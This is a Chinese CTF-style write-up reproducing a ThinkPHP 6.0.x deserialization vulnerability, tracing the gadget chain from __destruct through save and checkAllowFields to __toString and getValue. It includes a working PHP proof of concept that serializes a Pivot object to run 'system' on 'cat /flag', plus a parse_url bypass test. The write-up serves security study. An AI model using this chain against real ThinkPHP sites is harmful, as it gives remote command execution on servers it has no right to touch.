Thinkphp6.0.x反序列化漏洞复现

news2025/1/12 1:54:53

漏洞起点

起因: 在做 [安洵杯 2019]iamthinking 时发现是 thinkphp6 的反序列化,那么就去复现一下呗。

看了其他大佬的 wp,上面说 tp6 的反序列化漏洞的后半段利用和 tp5.2.x 是一样的,也就是 __toString 函数上。

第一步相信大家都知道,全局搜索 __destruct ,查找可以利用的点。

选择的标准:
那么有什么选择的标准呢?我是这么想的,就这个版本而言,假定我们先前不知道哪边有漏洞,那么我们在找漏洞的时候可以先看看前几个版本有什么漏洞,有可能它在修好漏洞的时候,又产生了新的漏洞,或者漏洞依然存在,只是利用方式不同罢了,那么借助这个思路我们可以先看看 tp5.2.x 的漏洞产生点,也就是 __toString 函数上。

全局搜索后可以发现在 Conversion.php__toString 往下推会产生一个漏洞。

__toString => toJson => toArray => getAttr => getValue

可以通过可控的属性进行命令执行。
在这里插入图片描述
那么我们这边选择 __destruct 的要求就很明显了,一直往下执行直到有地方能够触发 __toString

这边选择如下图:

在这里插入图片描述

__toString 的触发点为:

save => updateData => checkAllowFields

checkAllowFields 中可以看到有一个字符串连接,而这就是 __toString 的触发点。

在这里插入图片描述

步骤分析

第一步触发 __toString

我们首先要绕过 save 函数的第一个 if 判断。
在这里插入图片描述
isEmpty 函数只需要 $this->data 不为空即可。

在这里插入图片描述
tigger 函数中 $this->withEventfalse 就行。
在这里插入图片描述
然后就是 save 函数的 $this->exists 存在,则进入 updateData()
在这里插入图片描述
updateData() 函数的第一步和上一步一样。

在这里插入图片描述
接着就是 $ data 要存在绕过下面的 if,也就是 getChangedData 中的 $this->forcetrue
在这里插入图片描述
在这里插入图片描述

然后就进入了 checkAllowFields 函数,只需要令 $this->table__toString 的类或者其他。
在这里插入图片描述
简单记录一下流程:

触发 __toString:

svae():
isEmpty()::$this->data = true;
trigger()::$this->withEvent = false;
svae()::$this->exists = true;

updateData():
trigger()::$this->withEvent = false;
getChangedData()::$this->force = true;$this->data = true;

checkAllowFields():
$this->field=[];
$this->schema = [];
$this->table = (__toString);

__toString => getflag

进入 __toString

在这里插入图片描述
进入 toJson

在这里插入图片描述
进入 toArray
在这里插入图片描述
再看 getAttr
在这里插入图片描述
getData 里的 getRealFieldName 里的 $this->strict 若为 true (默认为 true),则返回 $name,返回到 getData

在这里插入图片描述
在这里插入图片描述
也就是说 $this->data[$fielName] = $this->data[$key] ,也就是说最后返回的是 $this->getValue($key, $value, $relation);

继续往下看,到 getValue 函数,这里的 name 就是上面说的 key 键名了,也就是如果是 data['xxx'=>'bbb'] ,那么这里的 name 就是 aaa

在这里插入图片描述
最后就是要绕过下面的三个 if,第一个 if 只要 $this->withAttr['xxx'] 存在就行了,第二个 if 默认绕过,第三个 if 只需要 $this->withAttr['xxx']不是嵌套了一个数组就行。
在这里插入图片描述
命令执行的地方,$this->withAttr[$fieldName];$this->withAttr['xxx']; , 这边的 $this->data['xxx'] 的值就是要执行的命令了。(注意这里的 withAttrdata 的键名要一样)
在这里插入图片描述
最后要实现的时候肯定要找一个子类取实现它,因为 Model 是抽象类。

poc

<?php

namespace think{
    abstract class Model{
        use model\concern\Attribute;
        use model\concern\Conversion;
        private $lazySave;
        protected $withEvent;
        private $exists;
        private $force;
        protected $field;
        protected $schema;
        protected $table;
        function __construct(){
            $this->lazySave = true;
            $this->withEvent = false;
            $this->exists = true;
            $this->force = true;
            $this->field = [];
            $this->schema = [];
            $this->table = true;
        }
    }
}
namespace think\model\concern{
    trait Conversion{
    }

    trait Attribute{
        private $data = ["xxx" => "cat /flag"];
        private $withAttr = ["xxx" => "system"];
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
        public function __construct($obj=''){
            parent::__construct();
            $this->table = $obj;
        }
    }
    $a = new Pivot();
    $b = new Pivot($a);
    echo urlencode(serialize($b));
}

[安洵杯 2019]iamthinking 这题中,要绕过 parse_str
在这里插入图片描述
直接实例测试:

<?php
$url4 = "//upload?/test/";
$url5 = "//upload?/1=1&id=1";
$url6 = "///upload?id=1";
var_dump(parse_url($url4));
var_dump(parse_url($url5));
var_dump(parse_url($url6));

结果一目了然:
在这里插入图片描述

reference

https://blog.csdn.net/weixin_43610673/article/details/120008902

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/19760.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

USV合伙人反思FTX:应以更长远的眼光看待Web3

潜力博主推荐&#xff0c;点击上面关注博主 ↑↑ FTX的事件动摇了许多人的信心。那么&#xff0c;最大的加密货币交易所之一是如何迅速崩溃的&#xff1f;为什么加密世界的类似崩溃似乎一直在发生&#xff1f; 在这个时候&#xff0c;我们要对Web3整个行业&#xff0c;有一个更…

FA-PEG-N3,Folic acid-PEG-Azide,叶酸-聚乙二醇-叠氮一种叶酸PEG试剂

叶酸PEG试剂叶酸-聚乙二醇-叠氮&#xff0c;其英文名为Folic acid-PEG-Azide&#xff08;FA-PEG-N3&#xff09;&#xff0c;它所属分类为Azide PEG Folic acid&#xff08;FA&#xff09; PEG。 叶酸-PEG-叠氮的的分子量均可定制&#xff0c;有&#xff1a;FA-PEG-N3 5000、叶…

感受Vue (1) —— Hello world

虽然一直定位自己是个后端&#xff0c;但是我一直钟情于好看精致的界面&#xff0c;我觉得前端界面是门艺术并结合编程的美。爱美之心&#xff0c;人皆有之&#xff0c;不要怪我&#xff0c;也不能怪我。 vue 在前端框架中&#xff0c;世界范围内能排第三&#xff0c;也是很不简…

UE5笔记【零】快捷键

F&#xff1a;快速聚焦到所选中的对象。 Q&#xff1a;选择 W&#xff1a;移动、 E&#xff1a;旋转、 R&#xff1a;伸缩。 End&#xff1a;物体落在它下方的物体上。 组合键&#xff1a; 鼠标左键或者右键&#xff1a;E是跳跃&#xff0c;Q是蹲下。 Ctrl L:控制太阳高…

[附源码]SSM计算机毕业设计在线学习网站的设计与实现JAVA

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

使用docker 注册runner

获取gitlab 信息 需要从gitlab中获取两个信息&#xff0c;一个是gitlab的域名&#xff0c;一个是需要注册runner的token gitalb 的runner按照范围可以有三种 全局类型即整个gitlab 的项目都可使用的runnergroup类型&#xff1a;即当前group中的项目可使用的runner,不同group之…

1-4 Linux 标准目录结构FHS

文章目录前言标准目录结构/ (根目录)/bin/boot/dev/etc/home/lib/media/mnt/opt/run/sbin/srv/tmp/proc/sys/var/lostfound/root/usr前言 Linux操作系统中的目录(文件夹)结构遵循Linux基金会定义和维护的Linux文件系统层次标准(FHS)。有了定义良好的标准&#xff0c;用户和软件…

【VC】【全局修改windows系统环境变量】 实现和原理详解

文章目录导读开发环境实现通过procexp打开1836进程的环境变量列表修改注册表&#xff08;手动/编码实现&#xff09;广播WM_SETTINGCHANGE消息再次通过procexp打开1836进程的环境变量列表也可以通过《系统属性 > 环境变量》来查看是否生效文章小结参考资料导读 一直都很好奇…

[附源码]java毕业设计水果商城

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

十三、Mysql的存储引擎

Mysql的存储引擎十三、Mysql的存储引擎一、什么是存储引擎二、存储引擎的常见功能三、存储引擎的种类及特性对比1、存储引擎的种类2、常见存储引擎的特性对比3、查看存储引擎四、InnoDB存储引擎1、InnoDB存储引擎介绍2、InnoDB存储引擎的优点3、InnoDB与MyISAM的区别4、存储引擎…

PTA题目 三天打鱼两天晒网

中国有句俗语叫“三天打鱼两天晒网”。假设某人从某天起&#xff0c;开始“三天打鱼两天晒网”&#xff0c;问这个人在以后的第N天中是“打鱼”还是“晒网”&#xff1f; 输入格式&#xff1a; 输入在一行中给出一个不超过1000的正整数N。 输出格式&#xff1a; 在一行中输…

【网页设计】基于HTML在线图书商城购物项目设计与实现

⛵ 源码获取 文末联系 ✈ Web前端开发技术 描述 网页设计题材&#xff0c;DIVCSS 布局制作,HTMLCSS网页设计期末课程大作业 | 在线商城购物 | 水果商城 | 商城系统建设 | 多平台移动商城 | H5微商城购物商城项目 | HTML期末大学生网页设计作业&#xff0c;Web大学生网页 HTML&a…

java面试强基(6)

面向对象三大特征了解吗&#xff1f; 封装 ​封装是指把一个对象的状态信息&#xff08;也就是属性&#xff09;隐藏在对象内部&#xff0c;不允许外部对象直接访问对象的内部信息。但是可以提供一些可以被外界访问的方法来操作属性。如果属性不想被外界访问&#xff0c;我们…

【滤波跟踪】基于扩展卡尔曼滤波的无人机路径跟踪附matlab代码

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;修心和技术同步精进&#xff0c;matlab项目合作可私信。 &#x1f34e;个人主页&#xff1a;Matlab科研工作室 &#x1f34a;个人信条&#xff1a;格物致知。 更多Matlab仿真内容点击&#x1f447; 智能优化算法 …

Linux基础8 - 网络配置

Linux基础8 - 网络配置 一、网络连接的三种方式 Vmware为我们提供了三种网络工作模式&#xff0c;它们分别是&#xff1a;Bridged&#xff08;桥接模式&#xff09;、NAT&#xff08;网络地址转换模式&#xff09;、Host-Only&#xff08;仅主机模式&#xff09;。 1、桥接模式…

[每周一更]-(第21期):什么是RPC?

RPC&#xff0c;也就是远程过程调用&#xff0c;是分布式系统中不同节点调用的方式&#xff08;进程间通信&#xff09;&#xff0c;属于 C/S 模式。RPC 由客户端发起&#xff0c;调用服务端的方法进行通信&#xff0c;然后服务端把结果返回给客户端。 RPC的核心有两个&#x…

商品推荐系统实战:基于AFM推荐算法的推荐系统实现 代码+数据

例知识点 推荐系统任务描述:通过用户的历史行为(比如浏览记录、购买记录等等)准确的预测出用户未来的行为;好的推荐系统不仅如此,而且能够拓展用户的视野,帮助他们发现可能感兴趣的却不容易发现的item;同时将埋没在长尾中的好商品推荐给可能感兴趣的用户。AFM推荐算法概…

Spring Boot官方推荐的Docker镜像编译方式-分层jar包

目录参考一、普通Dockerfile的缺点二、Docker分层三、Spring Boot分层四、实践核心理论新建demo工程pom.xml测试代码编写Dockerfile我们在项目根目录执行打包命令发布docker镜像修改代码重新发布docker参考 Spring Boot官方推荐的Docker镜像编译方式-分层jar包 Spring Boot la…

Windows11安装Maven

Windows11安装Maven官网下载压缩包&#xff1a;https://maven.apache.org/download.cgi 解压到任意盘 配置环境变量 3.1 右击我的电脑&#xff0c;选择属性 3.2 选择高级系统设置 3.3 选择环境变量 3.4 在系统变量中单击新建 3.5 新建 MAVEN_HOME 变量&#xff0c;然后…

四十四、​Fluent 收敛标准-质量和能量守恒

1. Fluent质量和能量守恒 Fluent收敛性的判断有时候很让人头疼&#xff0c;我们在三十二、Fluent收敛判断标准及方法中概括的讲述过几种收敛标准。 通常我们判断是否收敛最直接的就是看残差曲线&#xff0c;但是很多时候&#xff0c;残差曲线&#xff08;尤其连续性曲线&#x…